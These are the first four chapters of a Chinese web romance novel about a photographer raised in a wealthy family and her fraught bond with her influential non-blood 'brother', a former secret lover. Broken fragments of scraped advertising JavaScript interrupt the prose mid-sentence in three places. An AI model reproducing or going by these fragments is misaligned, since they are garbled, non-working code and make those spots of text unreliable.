《春潮摇影》 1. 第 1 章 月华如薄雾,笼罩这处纸醉金迷的晚宴场所,钟栖月为了能拍到更好的照片,往后一退,后背不慎撞到一名端着托盘的侍者。 托盘上的酒水洒至她的后脚跟,右脚的鞋子也顿感黏黏糊糊。 那侍者说抱歉,是担心撞到了贵人。 却见她穿着身很普通的行头,打眼一看跟他们的工作服没什么区别,还有一双与这个晚宴格格不入的小白鞋。 钟栖月放下手中的相机,转身问:“你没事吧?” 侍者语气很淡,说没事,绕开走了。 等钟栖月再转身过去,方才拍摄的名媛千金已款款朝前行去,与晚宴其他宾客言笑晏晏。 她只好去捕捉下一个猎物,这时同事刘露过来拉她去角落谈话:“别拍了,省点精力。” “为什么?” 刘露说:“今晚的大人物还没出场呢,你拍那些小角色干什么。” 钟栖月正在回看从进晚宴后拍摄的照片,随口问她是什么大人物。 刘露把相机挎身侧,立即捧脸,眼化星星状:“那当然是传闻中纪家那位二少啦!听说他从旧金山回来,有阵子都没在公开场合露面,今晚的宴会是他回国后第一个选择出席的宴会,咱们不少同行听说后,那是绞尽脑汁也要挤进来,不为工作,就为了亲眼看一看纪冽危。” 没得到回应,见钟栖月还在整理她相机,刘露无奈说:“连纪家二少爷都吸引不了你,钟栖月,你到底是什么人?” 半分钟后,钟栖月抬眸,“嗯?你刚才说什么。” 刘露瞎说:“我刚说咱们今天拍了好图,主编说回去有丰厚的奖金。” “真的?”她语气明显兴奋起来。 “真的!” 刘露也不想跟她计较了,如今这个饮食男女的社会,若是还有人不通情爱,一心遁入空门,那大概只有钟栖月了。 盯着钟栖月多看了几秒,刘露也觉得视觉上被狠狠尊重了。 钟栖月肌肤白净,生得是清丽脱俗的美,淡然温雅,犹如染了月色的清潭,也似月下绽放的青莲,气质出尘。 即使穿着普通的工作服,也那般养眼。 刘露想起有次外出工作,细雨淅沥,她们都被淋得很狼狈,可她第一次知道,原来有人浑身湿漉漉又凌乱的样子,能有这么美。 那人便是钟栖月。 就是,有点不对劲。 刘露伸手要摘钟栖月鼻梁上的眼镜。 反而任何时候都很随性的钟栖月难得严肃起来,退后一步,说:“别摘,摘了就成瞎子了。” “你近视这么严重?” “嗯。” “不考虑戴隐形眼镜吗?说真的,我觉得你不戴眼镜应该更好看。”这副眼镜虽然衬得钟栖月更有一种文静淑美的气质,但她总觉得,并不适合她。 说不清的感觉。 就觉得,钟栖月应该是不用戴眼镜的,会更好看,更让人挪不开眼。 眼镜反而像是把原本的她封印起来了。 这场宴会,钟栖月和刘露算是最边缘的人物,不能拍摄的时候只能在阴暗的角落处待着。 好像只要出现在聚光灯下,就会污染了这高贵的场所。 钟栖月说想走,刘露不愿意,“别啊,纪二少还没来。” 钟栖月垂眸看她脏兮兮的小白鞋,把相机交托刘露,“那我去躺洗手间。” 询问了带领她们进来的侍者,钟栖月被引到了洗手间。 “就这,可别乱跑了,今晚的贵人太多,要是冲撞了某位,把你们杂志社赔了估计也没办法抵消。” “嗯。”钟栖月进入隔间,坐马桶上清理脏污。 她这双鞋子还挺喜欢的,回去洗洗就好,简单处理了下,这时门板被敲响。 钟栖月问了句谁。 门外人说:“钟小姐,我是来给您送鞋子的。” 那侍者恭敬地把鞋子放在门外就走了,钟栖月望着面前这双干净且价值不菲的新鞋,沉默片刻。 刘露只等了几分钟,钟栖月就回来了。 刘露开心说:“你来的正好,听说纪先生来了!” 钟栖月没说什么,跟着刘露一起挤过去,也是没料到,顷刻间,这宴会大厅就不知从何处冒出了许多人。 有穿着光鲜亮丽的千金名媛与世家公子哥,也有穿着工作服的侍者,还有许多媒体记者,亦或是花费了高昂价格,想要融入这个高级宴会往上爬的人。 刘露说:“这些都是来看纪冽危的。” 提起纪冽危,那自然是少不了纪家如今的发展。 纪氏在北城是有头有脸的权贵,其家族企业涉及的领域只有想不到,没有纪氏做不到,就连国外也有发展,关于这些只是冰山一角,具体的,刘露这些小人物自然没办法完全打听到。 总之在普通人眼里,就是望尘莫及,这辈子羡慕不来的成就。 纪冽危,目前正在执掌纪氏,加上外祖家吴氏的加持下,他早就是北城最出名的人物,他的交友圈子也都是最顶级的那种,从以前想结交他的人就很多了。 终于,钟栖月在刘露的努力下,共同占据了拍摄场地最好的位置。 当那张清冷的面容进入她的镜头时,四目相对,仅一秒,可那淡薄漆黑的眼,使钟栖月心顿时一紧。 人多的场合,也没人注意到,她脸色微白。 拍摄结束,刘露开心地直拽着钟栖月,“太好看了,我第一次用好看来形容一个男人的容貌,我总算知道,咱主编没有吹牛逼!” “这脸值得咱们受尽眼色也要挤进这个宴会!” “你说咱们有机会访问纪先生吗?我还挺想单独给他拍摄的,艺术品的脸啊!” 钟栖月说不知道。 刘露收起相机,问她:“你脸色不好,生病了?” 她说大概是刚才被挤得呼吸难受。 提起这茬,刘露顿有同感:“算了,回去吧,省得还要看那些人居高临下的嘴脸。” 两人从宴会的后门出来。 不是受邀的宾客就连从前门出去的资格都没有,夜幕柔和,钟栖月的素净的脸庞在月下白得犹如透明。 “月月,你没事吧?” 钟栖月虚虚一笑,这时忽然接到一通来电。 电话挂断,她说:“不好意思,你先跟刘师傅回去吧,我这边还有别的事。” “什么事啊?我们等你一起呗,这边郊区,你一会不好打车。” 钟栖月说没事,她有办法回去。 她既然坚持,刘露也不好说什么。 反正钟栖月总是这样,挺神秘的,没人知道她家庭什么情况。 目送杂志社的车离开后。 钟栖月站在原地等了片刻,迎面走来两位身穿高定礼服的名媛,靠外侧的那位看到钟栖月后,跟身旁的人说了几句话便道别,朝她走来。 “月月,辛苦你等我了。”说话的人是纪依雪,纪冽危的堂妹。 钟栖月摇头,说:“没关系,没有等很久。” 纪依雪笑道:“那好,咱们一起回去吧,不过早知道你今晚在这工作,我就送你过来了呀。” “没什么,我是为了工作才来的,当然要坐我们杂志社的车了。” 上了纪依雪的奔驰,钟栖月坐副驾。 纪依雪正要启动引擎,忽然问起,“对了,今晚我哥也在宴会,你看到他了吗?” 钟栖月说看到了。 纪依雪只笑,“我都没能看到,当时太多人了,挤不进去,也不知道有什么好看的,总不就是那张脸,难道还能多长个嘴巴?” 看了这么多年,除了觉得好看点,也没什么特别的。 纪依雪这话也不知道多少女孩要羡慕死。 纪冽危在圈子里从来都是抢手的存在,她大抵是受不了自家堂哥这不论在哪都众星捧月的样子,只觉得他可高傲了,眼神清清冷冷,看谁都像在看死人。 虽在嫌弃,语气里倒是得意。 也是,有纪冽危妹妹这层身份,到哪都是受人羡慕尊重的。 两人聊得很愉快,纪依雪瞧她身上那工作服,好心说:“你要不还是换个工作吧,纪家旗下那么多公司,你随便进一家,哪个不比现在体面,钱还多呢。” “要不我让我哥给你找个工作?说来也是,你都来纪家十二年了,怎么跟我哥还跟陌生人似的?” 钟栖月当没听到后面那句,说:“我喜欢这份工作。” 纪依雪:“我也是没想到,你母亲她竟然愿意让你来这小杂志社做摄影师。” 纪家谁人不知道,虽不是亲生的,但钟蕊是真的很看重钟栖月。 从这母女两来了纪家后,钟蕊是什么好的都给她供着,让她接受最好的教育,上最好的学校,吃穿用度也是往名媛千金比拟的,说是为了让钟栖月更有气质,在还没来纪家之前,钟蕊就教钟栖月跳舞。后来来了纪家,就专门找了名师指导。 钟栖月四肢修长,肩薄细腰,那身形苗条柔软的,的确让很多女生都羡慕。 纪依雪她妈当初看钟栖月那小姑娘这么有气质,也后悔没给自家孩子送去跳舞,年纪大也来不及了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 纪依雪觉得烦,从小受宠,哪遭得了那罪。 “我看栖月身上好多伤,都是学跳舞引起的,我才不要,我天生就是来享福的。” 钟栖月垂眸,望着衣服上的纹路,说:“我妈她人很好的,她很尊重我的意见。” “也是,羡慕了,你妈确实很温柔。” 钟蕊到纪家也有十二年了,身份不是名正言顺,长辈们没有明说,但孩子都清楚,钟蕊还没有跟纪东原登记。 没有登记结婚根本算不上夫妻,最多只是交往,能留在纪家也是因为钟蕊给纪东原生了个儿子。 所以纪依雪都不太想叫伯母,私下他们说话,都是你妈妈,你那母亲的。 车子开了一个小时,总算抵达了纪宅。 到家时已经十点了,夜色很沉。 纪家是中式建筑的老宅,占地面积颇广,是祖上一直传下来的。 纪老爷子尚在,所以纪家小辈也多半还是住在这祖宅里,回了屋,有佣人上前来接纪依雪和钟栖月手上的包。 换好了鞋子,纪依雪就先回了自己在二楼的屋。 钟栖月住在三楼。 老宅这边没有电梯,都只能自己爬,刚上了楼梯,就正好看到钟蕊从楼上下来。 “回来了?” “妈。” 钟蕊点头,又说:“厨房里炖了燕窝,自己盛一碗喝。” “好。” “对了,你那衣服有点不好看,记得扔了。” 钟栖月说是暂时的工作服,平时不穿那样。 钟蕊已经下了楼,正在倒花茶,气质优雅:“我说你柜子里那件吊带裙。” 钟栖月顿住了几秒,“好,我明天就扔。” 回了房间,钟栖月打开了衣柜。 这衣柜很明显被人翻过。 她不让佣人打扫她房间,能进她房间只能是钟蕊。 柜子里钟蕊说的吊带裙还挂那。 这是上周她和同事陶梦梦逛街的时候,陪她一起买的,说是买两件打折,陶梦梦是月光族,手头没什么钱,为了那裙子就央求她也一起买,可以便宜。 她也挺喜欢那裙子的,就同意了。 长裙是两根细细的吊带,露背款,腰下有条蝴蝶结系带,整体朦胧诱惑。 当时她试穿,陶梦梦也说好看,非要她买。 钟栖月看了几眼,把这吊带裙收了起来。 洗过澡后,身子也清爽了许多。 夜风从窗户吹入,整间屋子飘散着淡薄的香气。 钟栖月在电脑上处理今晚拍摄的照片,当滑到纪冽危那张时,心脏明显抽搐了一下。 聚光灯下,那张脸跟白玉似的。 清冷无暇。 电脑关闭,钟栖月睡眠不太好,下楼冲咖啡。 佣人说来帮忙,她摇头说自己来,“很晚了,你也休息吧。” 佣人笑说:“二少爷还没回。” 钟栖月握着杯柄的手微僵,咖啡的热气洒在她白皙的肌肤上,她说:“我都忘了。” 纪冽危回来都有一个月了。 纪老爷子下了规矩,家里每个人每天都必须回来过夜的。 才刚说完,玄关那就有了动静。 佣人迎上去,钟栖月的视角只能看到一抹衣角,男人声音很轻,她听不到说了什么。 下一秒,佣人就离开了。 柔和的灯光落在客厅的每一个角。 钟栖月端着咖啡杯,转身上楼,身后有人喊她。 她僵了会,转身看那人。 纪冽危眼神落她手上:“这么晚了,不怕睡不着?” 他穿的还是晚宴的西装,是意大利知名设计师的高级定制,钟栖月看得出来这身衣服很贵,应该超乎她想象的贵,但她知道,这人不管穿什么都是这么好看。 跟衣服没多大关系。 她说:“就是睡不着才喝。” 他走了过来。 像身披月色,无论是面容,还是气质,都是清冷的。 细白的手腕搭在楼梯扶手上,他侧眸看过来,说:“早点休息。” 说完他就上了楼。 钟栖月松了一口气,看着他背影,恭敬地说:“你也早点休息。” “哥。” 最后一个字很轻,男人脚步不动声色微微一滞。 钟栖月没察觉,低头喝着咖啡。 本该上楼的人,却转过身来,灯光在他精致的眉眼落下融融光晕。 他淡淡开口:“听蕊姨说,你打算搬出纪家?” 2. 第 2 章 “……是。”她捏着杯柄的手一紧。 纪冽危眼神扫过她纤细的手指,问她:“为什么忽然想搬走?” “只是觉得步入了社会,可以自己独立了。” “嗯。”他神色淡薄,站在第四节台阶,他身高本就高出钟栖月许多,这样站在高处,便更能将她全部掌入自己眼中。 “当初你纪叔叔是不是说要你把这当自己家,把我们当你家人,把我当你哥哥。” “……是。” 钟栖月的脸微微低垂,手中的咖啡将要凉了。 纪冽危说了句让她早点上楼,便走了。 等他走了后,钟栖月没上楼,反而坐在餐厅慢慢喝着咖啡。 这会儿手机一震,收到了徐紫芸给她发的消息。 【月月,你要我帮你找房子的事有点眉目了,不过那位置好像离你工作的地方有点远,你真的要租吗?】 钟栖月:【我考虑一下。】 她脑海里浮现了方才纪冽危看她的眼神,心里一紧,又回了句:【要。】 喝完咖啡上楼,钟栖月去洗手间漱口,刚开门出来就撞到了门口的纪冽危。 他换了身舒适的家居服,褪去了精英感,慵懒随性。 钟栖月往边上侧让,“哥,您进去吧。” 三楼只有三间洗手间,一间靠主卧很近,钟栖月担心吵醒了纪东原和钟蕊,一间里面又有人了,她就只好来家里人不常用的这间。 可她忘了,这间浴室,纪冽危用的比较多。 大概是对他回来的事还没什么真实感。 这一个月,她加班很多,夜里也很晚才回到纪家休息,几乎很少有时间碰到纪冽危。 他站在门口,遮住了走廊的光。 只顿了几秒,便迈步进了洗手间,里面水声传来,钟栖月提步要走,里面的人忽然喊住她。 钟栖月转过身。 纪冽危站在盥洗池那,冷水沾湿了他额前碎发,那双漆黑的眼像是浸过冰寒雪山,带着雾蒙蒙的凉意。 “我今晚送你的鞋子呢?” 钟栖月心里咯噔一跳,回复已经准备好的说辞。 “那双鞋太贵了,我要是换上去会被同事追着问怎么来的。” 湿帕子被拧干的水声,一滴滴落下。 像是一下又一下敲打钟栖月的心,他慢条斯理地说:“所以你宁愿穿着一双被酒水打湿的鞋子。” 钟栖月垂眸:“我已经清理好了。” “鞋子,鞋子我放到你的房间了。谢谢哥哥的好意,我心领了。” 说完这句话,钟栖月伸手把洗手间的门拉上,转身回了自己的房间,根本不敢再多留下去。 每次和纪冽危独处,她都觉得心脏根本很难得到掌控。 如果说从前跟他说话,都是担心他哪天会杀了她,但那至少,她明白纪冽危是讨厌她的,可自从她那夜糊涂表白,主动破了那道防线后一切都变了。 后来他们私下交往了四年。 如果她没有做下糊涂事。 她就还是原来的自己,她会把对纪冽危的喜欢暗暗藏在心里,和他也仍旧是那种在家里碰到也要绕道走的关系。 兄妹? 这家里所有人都知道,纪冽危根本不会拿她当妹妹,而他也从来不是他妹妹。 纪依雪可以吐槽他长得招蜂引蝶,可以拿纪冽危打趣,只有她不行。 她是纪冽危爸爸的情妇带回来的养女。 又并非姓纪,不在纪家的族谱上,也从没有妹妹这层身份。 他让她喊一声哥,那是给纪老爷子面子。 她哪能真当他是哥哥? 那时候她十一岁,才到纪家,跟在钟蕊后面脚步子都不敢迈太大,逢人就要乖巧礼貌地喊人。 纪老爷子都很喜欢她。 明知道她只是钟蕊的养女,无论跟纪家还是钟蕊都没有血缘,但老爷子还是把她当孙女照顾。 纪家家大业大,不过是养一个孤女而已,芝麻大点的事。 - 纪家规矩多,早饭必须要一起吃。 老爷子年纪大了,觉少,早上六点便醒了在后院散步,等回到宅子里,家里的年轻孩子也基本陆续来了餐厅。 纪家的人也很多。 老爷子和原配生了纪东原和纪宗州两个儿子,和继室生了纪春君纪丽乔一儿一女,年事已高,就连继室都早已离世,如今是儿孙绕膝。 目前只有儿子纪春君一家在国外,其他几个孩子都老实本分地待在北城。 七点,是纪家吃早饭的时间。 钟栖月很早下楼,给纪老爷子泡了一盅他爱喝的茶水,等所有人到齐后,就准备吃早饭。 纪静宁是最后下楼的,小姑娘性子活泼,蹦蹦跳跳从楼上下来,被纪丽乔瞪了眼:“都二十一岁了,能不能稳重点?” “妈咪,大清早就是要活泼点,整天的心情才会好。” 纪丽乔不理她的歪理,“学学你月姐姐,她早上六点就起来了,一早还给爷爷泡了他喜欢的茶。” 纪静宁落坐:“我知道错了,妈咪。” 一看就知道在敷衍。 纪老爷子笑:“没事,小女孩活泼点好。” 吃完了早饭,大家上班的上班,出门的出门。 钟栖月在玄关换鞋,忽然听到旁边的纪静宁说:“我刚从楼上下来,看到佣人从冽危哥的房里取出来一个鞋盒,我一看那鞋子是我早就想买的了,说什么都要抢过来。” 纪依雪笑:“你敢拿冽危哥的东西,不要命啦?” “都从他房里出来了,那肯定是不要的东西啊,他要丢了还不准我捡个漏?” “别说,尺码都合适,不知道是不是特地给我的。” “做梦吧。” 两姐妹都在说笑,心里清楚,纪冽危只会给钱打发,怎么可能会亲自买鞋子给她们。 钟栖月扫了眼纪静宁的脚,她和纪静宁身高差不多,鞋子的尺码也一样。 出了纪家祖宅,想要走出去,没有车子是寸步难行,钟栖月会开车,纪家也有她的车子,但自从她选择了杂志社的工作后,她的车子也不能用了。 她知道,那是钟蕊对她不听话的惩罚。 她也没觉得没了代步工具天就塌了,大不了徒步走出去再打出租车好了。 钟栖月想起,十六岁那年,那时候她来纪家已经五年了。 纪冽危大她四岁。 当她还是个刚步入高中的学生时,纪冽危已经是个成年大学生了,不过他在国外读书,只是偶尔会回国。 每次回来的时候,几乎整个纪家的孩子都会很开心。 虽然他在家里排行第二,却是家里的大哥哥。 听说纪冽危的兄长,在他很小的时候出车祸没了。 那天她学校放学很晚。 因为她上周没有去练舞,钟蕊生她的气,没让司机接她,所以她只能徒步回家。 她走到天黑了,还没到纪家祖宅。 忽然一辆很拉风的跑车从她面前经过,没一会,车子倒退过来。 车窗降下,是很久没有见过的纪冽危。 大概才从国外回来,副驾驶还坐着一个外国人,钟栖月怯生生地喊了声冽危哥。 纪冽危问她为什么在这。 她说:“放学晚了,司机没接到我人。” 外国人用英文催纪冽危快走,看他的方向是刚从纪家出来,应该是有别的事要办,钟栖月体贴说:“您忙吧,我要回去了。” 车后座打开,他轻描淡写:“上车。” 后来是纪冽危送她回了纪家,很快他开着那辆会被所有人羡慕的跑车离开了。 那时候,钟栖月就知道。

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 纪冽危的世界是她这生都望尘莫及的地方,即使她也住在纪家,喊她一声哥,她和他也始终有着云泥之别。 钟栖月还没走出纪宅。 一辆劳斯莱斯停在她身旁,她驻足看过去,车内男人侧过脸看她:“上车。” 钟栖月上了车,系好安全带。 纪冽危问她去哪,她说凌度杂志社。 他的手腕搭在方向盘上,腕骨泛着玉色:“你来这杂志社快一年了,觉得怎样?” 钟栖月手指紧紧攥住腿上的包,说:“挺好的,工作很自由。” 纪冽危问:“那相机,用的还顺手?” “顺手的。” “顺手,所以才把我在国外给你买的相机放在房间里积灰?” 钟栖月心都提了起来:“那个我用不惯,谢谢哥的好意。” “早上纪静宁穿了我送你的鞋子。” 钟栖月没吭声。 车子缓慢行驶,纪冽危看着前方的路,漫不经心说:“我当时想,你要但凡露出一个舍不得的眼神,我能让纪静宁光着脚出去。” 钟栖月呼吸微沉,淡薄的气息缓缓溢到了她鼻梁上的镜片。 顿了会,她说:“静宁是哥哥的亲妹妹,一双鞋而已。” 车子早就开出了纪宅,进入了道路中心,早上是上班高峰期,车流量很多。 这辆黑色的劳斯莱斯在路上吸引了不少人的注意。 纪冽危笑:“你说的是。” 好在他没有揪着那双鞋不放,钟栖月心里松了一口气。 每次跟纪冽危独处,让她觉得自己像上战场似的,还没真正开战,她就想当逃兵了。 纪冽危这人实在让人看不透。 他脾气绝对不算很好,但也不是表面那种生人勿近的性子,他有时忽然会提起一个话茬,当你觉得他会一直顺着说下去的时候,他也能及时的中断,让人弄不明白他究竟什么意思。 好像挺爱玩弄人心的。 纪家的那些弟弟妹妹,都像是他掌心里的玩物。 她也是。 她记得,刚来纪家的时候,他很讨厌她。 钟栖月还想起有一次过年。 纪家所有人都在一楼玩耍,很多亲戚都来了,从没有如此热闹过,纪老爷子全程笑得合不拢嘴。 后来,趁着没人注意,钟栖月上楼休息。 回到房间时,正好看到纪冽危的房间门是开的,他们住对门,在门口她能看到纪冽危房里有几个人。 大概是他同阶层的朋友,好像都是哪家哪家的公子哥,来他房里玩闹,还没进去,她都能听到一些少年的声音。 说着许多她听不懂的话题,她还闻到了烟味。 那时候她才十五岁,好奇心使然让她朝纪冽危房里看去。 正好看到他嘴里咬着烟,在指点身旁的好友怎么通关游戏,有人看过来,好奇问:“好漂亮的小女孩,危哥,这你家的谁?” 纪冽危说:“我妹。” 好友调笑:“你妹妹还真多,不过啊,还属门口这个最好看。” 纪冽危又笑:“你喜欢啊?” “我喜欢啊,危哥能介绍给我吗?” 钟栖月双腿僵硬了,吓得跑回自己房间。 那屋里,纪冽危把烟灰弹到那人脸上,笑说:“别逗,人就一小孩,违法了啊。” 钟栖月跑那么快,是因为她害怕纪冽危会把她送给那个公子哥。 那时候她觉得,纪冽危真的会做这种事。 她特别害怕纪冽危凉薄的眼神,也很害怕纪冽危对她笑。 因为身份特殊,在这个纪家,她最怕的人就是纪冽危。 钟栖月沉默了许久。 后来看到快到杂志社了,她连忙喊停,纪冽危也没问为什么,把她放了下来,那辆劳斯莱斯很快从她视线里消失。 3. 第 3 章 从车上下来后,钟栖月又走了一段路才回到杂志社,这边熟人太多,要是有同事看到她从那么气派的车子里出来,准会问东问西。 更何况。 纪冽危是谁,他们杂志社专拍知名人物的,又有谁不认识呢? 进入电梯,在里面碰到了刘露。 简单打了个招呼,刘露问起来,“月月,你昨晚看群消息了没有?” “没。”钟栖月说:“回家处理了一些照片,就睡了。” “那难怪,我可跟你说,主编昨晚下达任务了,说这个月咱们必须要访问到纪冽危,哪个组先完成了这项任务,下个月的奖金就给咱们翻倍!” 钟栖月看着电梯数字上去,问她:“所以你大清早这么激动,就是因为这个奖金吗?” 刘露说:“我是这么肤浅的人吗?” “我那是兴奋有机会能访问纪冽危啊!” 钟栖月心想,这更肤浅,还不如冲奖金去。 两人出了电梯,刘露一直在支招怎么才可以访问到这个大人物,杂志社分好几个组,另外几组的人好像都认识不少大人物,要是从中牵线准比他们组机会多得多。 回到工位上,刘露就抓着陶梦梦一起出主意。 十点,宋凝主编开了一次重要会议。 会议内容几乎大半都围绕着纪冽危展开,他们杂志社较比娱乐新闻,更多关注的是上流社会的豪门,刊登的人物基本都是荣登福布斯榜的大人物。 提起纪冽危,宋凝说:“纪先生从没有在杂志专栏有过任何的访问,如果我们这次拿下他的专访,相信一定会带来意想不到的收获。” 有女同事赞同说:“就纪冽危那张脸就已经有致命吸引力了,更别说他身价地位就摆在那。” “不过这种难搞的人,主编,咱们真有机会访问到吗?” 宋凝摆弄面前的资料,淡笑:“这不就是给你们施展身手的机会?” 在这行干了这么多年,谁还没几个后台啊,也许还真被他们杂志社捡到这狗屎运了呢? 会议散后,钟栖月回到工位,从抽屉里取出茶包泡了杯茶。 陶梦梦和刘露挤到她这桌,讨论:“你们有后台吗?” 两人都摇头,随后默契地看向钟栖月。 钟栖月放下茶杯,说:“你们看我这样,像是有后台吗?” 钟栖月是典型的乖乖女的装扮,乌黑柔顺的长发,巴掌大的小脸,鼻梁上架着一副跟她同样温柔的眼镜,每日穿着也是极其普通的日常休闲服。 明明是再普通不过的装扮,偏生有那张脸和气质,也很难让人把她跟普通人联想到一起。 杂志社的人都好奇过,钟栖月是不是豪门大小姐私下来体验生活的。 否则怎么会有人举手投足间,都这么极具豪门千金的气质? 算了。 也没再揪着钟栖月不放了,陶梦梦问刘露,“你们昨晚进晚宴看到了纪冽危,怎样,是不是跟传说中的一样那么帅?” 刘露震撼:“岂止是帅?” “帅都不足以形容?” 刘露拉了一把座椅,正经说:“看了他那张脸,我甚至觉得用帅形容他都很low了,你懂那种矜贵气质与清冷的结合吗?那一刻我才明白,什么明星包装在天之骄子的豪门贵公子面前,都是狗屁啊!” 钟栖月又被迫听刘露夸赞纪冽危许久。 她坐在电脑前整理昨天修好的照片,处理工作,很快一天的时间就这样过去了,到六点,和同事一起下班。 刚从杂志社出来,路边那响起了机车的喇叭声。 一辆很酷炫的机车停在路边,男人坐那,朝钟栖月招手:“月月。” 有同事看到,好奇问:“那是你男朋友?” 钟栖月说:“不是,只是朋友,抱歉,我先过去了。” 她小步跑过去,听到身后几个同事在说:“她怎么还跟小混混鬼混啊,真是看不出来,平时看着不挺乖吗?” 郑远方把头盔递给她,“上车吧。” 钟栖月接过,说:“其实你可以不陪我去,我一个人没事的。” 郑远方让她上车,“那地太远了,我正好顺路有事要办,就带你过去。” 坐上了机车,钟栖月牢牢抓住自己身后的扶手。 郑远方骑机车很吓人,她坐过几次,有心理阴影了。 不过好在有他的机车,她比想象中还要来早了半小时,这下应该有更多时间看出租屋了。 钟栖月跟中介一起进去看房子。 郑远方就在外面等她。 看了两套,钟栖月都不是太满意,她觉得这边好像对于安全方面并没有那么严谨,中介问她想要什么样的房子。 钟栖月把自己的需求说出来了,那中介歉意道:“那得到市中心去才行,小姐,我看你好像没有一点租房子的经验,家里是不是条件很好?” 家里条件很好吗? 纪家的条件绝对是北城数一数二的好了。从小在那样的环境里长大,她的确没有半点普通人的生活经验。 “我再看看吧。” 中介也很耐心,打算带她再看几套。 从屋子里出来,钟栖月忽然听到小区有路人说,外面有人打群架,她心里一慌,明白了什么,连忙说了声抱歉,就过去了。 小区外,郑远方被一群男人围住。 钟栖月过来时,他已经处在了下风,见到钟栖月,他紧张道:“月月你别过来,这些人是针对我的,你快走。” 钟栖月拿出手机打算报警。 前面那男人大步过来,凶神恶煞的样子:“你要报警?” “你别动她!”郑远方怒急要冲过来,很快就被几个男人拉住。 钟栖月脸色微白,壮大胆子说:“现在是法治社会,到处都有监控。” 长得流氓相的男人大笑:“小妹妹,你这是在警告我?” “没有。我……”钟栖月紧张说:“这还是小区门口,我跟你说,刚才有人已经报警了。” “报警啊,也好。”好像正合那男人意,“正好要警察叔叔过来为我评评理,郑远方欠了我五十万不还这事,要怎么解决。” 五十万?钟栖月朝郑远方看去一眼,“远方,你怎么欠他这么多钱?” 郑远方愤恨道:“他放屁,月月你别理他,你快跑!” 那男人问:“小姑娘,你是他什么人?看你穿这么乖,不像是认识郑远方这种混混的样子,作业写完了吗?” 眼看围观的人越来越多了,男人直接让人很礼貌地把郑远方和钟栖月一起请到了车上,方才还围观的人,看到没闹出什么动静,就没当一回事了。 车子不知道朝哪行驶的。 钟栖月身躯微抖,手机也被这男人抢去了,眼下也不知道该怎么办。 郑远方小声说:“对不起月月,都是我连累你,我没想到今天会碰到这群人。” 钟栖月 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 抿了抿微白的唇:“我们还是想想一会该怎么办吧。” 两个人都很紧张,不知道要被带到哪去。 就这时,刚跟钟栖月说话的那男人接到了一通电话,忽然改了目的地。 他回头,看向钟栖月的眼神很复杂。 “小姑娘,来头不小嘛,怎么不早点说呢?”害得他险些得罪人。 钟栖月面露迷茫,不懂他什么意思。 半个小时后,车子开到了郊区,在一座酒庄前停下。 钟栖月被请了下去,郑远方还留在车上。 “你要把她带哪去?” 那男人说:“废话真多,再吵一拳把你捶晕,来个人把他嘴堵上。” 钟栖月忐忑不安跟着这人去了酒庄的包间。 房门推开,里面绚丽的灯光瞬间晃了她的眼,懵了一瞬,朝里面看去。 这个聚会的人很多,男男女女几乎都挨得挺近,是她基本没有接触的场景。 即使人再多,钟栖月还是一眼就看到了在最中间,最耀眼夺目的男人。 他穿着早上那件黑衬衣,袖口微挽,露出一截泛着青筋的白皙手臂。 钟栖月心脏紧张地几乎要蹦了出来,站到他面前,低头喊了声:“哥哥……” 她戴着文静的眼镜,一身日常休闲服。 跟这样的场合,格格不入。 纪冽危单手夹着烟,垂脸洗牌,纸牌在他修长的手指间飞快游移。 闻言,头也没抬,漫不经心问:“怎么来这了?” 他难道不是明知故问吗?钟栖月闭了闭眼,说:“跟朋友出了点意外,谢谢哥哥救了我。” 旁边有人见到这场面,打趣道:“危哥,这是你哪个妹妹?还是头一次见啊,这成年了吗?” 纪冽危只是笑:“胡言乱语,二十三了。” 众人哄堂大笑,还有几个女人过来摸她的脸,说小妹妹好可爱啊。 简直把她当做吉祥物来逗趣。 钟栖月知道,他们都是看在纪冽危的面子上,她被暂时冠上了他妹妹的名头,才会这样理她。 不然,她就是空气。 纪冽危把烟掐灭,站起身,推开旁边的人,让钟栖月跟他出去谈话。 钟栖月乖巧跟过去,房门关上,那些热闹的声音也被隔绝在外。 望着他挺拔的背影,她忽然就想起刘露夸他的话,如果没跟纪冽危接触过,基本都会被他这完美到无可挑剔的外表所迷惑。 有人的外在条件出生便已经在顶点了,无论是长相,还是气质。 没沉默多久。 纪冽危便转身过来,垂眸看她:“出事了也不想着打电话给我。是不是在你眼里,那些抓你的人都比我看起来和善?” 她解释:“不是的哥,我只是太紧张了。” 纪冽危笑意凉薄:“哦,太紧张了,是太紧张郑远方的安危了对吗?你都回纪家这么多年了,还和他有联系呢,我出国工作一年,也没见你想主动联系我。” 钟栖月手指发麻,低着头小声说:“哥在国外的消息,我在家里都听说了。” 纪家那么多人,更何况以纪冽危的身份,他在国外过得好不好,钟栖月怎么会不知道。 她敷衍人还是有手段。 走道昏暗,纪冽危幽幽看她许久,声音轻飘飘砸落:“钟栖月,我是长得很难看?” “啊,没有……” “那你都不敢正眼看哥哥?” 4. 第 4 章 “我,”钟栖月僵住,随后才抬起头,冷不防对上了纪冽危不含任何人情味的眸子,“我看了。” 她这种解释,反而更加暴露出她多么害怕他的事实。 纪冽危漫不经心地勾唇一笑:“看出来什么了?” 钟栖月眨了眨眼,强迫自己稳住情绪:“哥还是好看的。” 下一秒,她听到头顶缓缓响起一道清列的笑声,在这暗沉的走道内,格外有韵味的笑声。 纪冽危身躯懒散地靠在墙边,敛了笑意,说:“这么好看,你还舍不得看我?看来你也只会说这种话哄骗哥哥。” 钟栖月急得口齿打结,“哥,不是的,我没骗你,是我不知道该怎么面对哥哥。” 他们之间分明有过那样一段,她不懂,为什么纪冽危却完全不受影响,他是真觉得旧情人还能没有任何隔阂相处吗。 “早这么说不就是了?”纪冽危语气淡淡:“我就知道你这张小嘴对哥哥没几句实话。” 就像那天晚上过后,她想装没事人的态度一样。 钟栖月没吭声,就这样低着头。 “回家?很晚了。” 她顿了会,“我不是一个人来的。” 纪冽危攥她手腕,冰凉的掌心贴着她细腻的肌肤,将她拉着往外走,“你那个小混混发小,会有人放他回去。” “至于你,跟我回家。” 出了酒庄,钟栖月就坐上了纪冽危的车子,刚好经过郑远方那,他看到钟栖月在车内,冲过来就要喊她。 钟栖月降下车窗,脑袋凑过去半边,“远方,你先回家,我没事的。” 直到郑远方的人影逐渐缩小,钟栖月还没收回眼神。 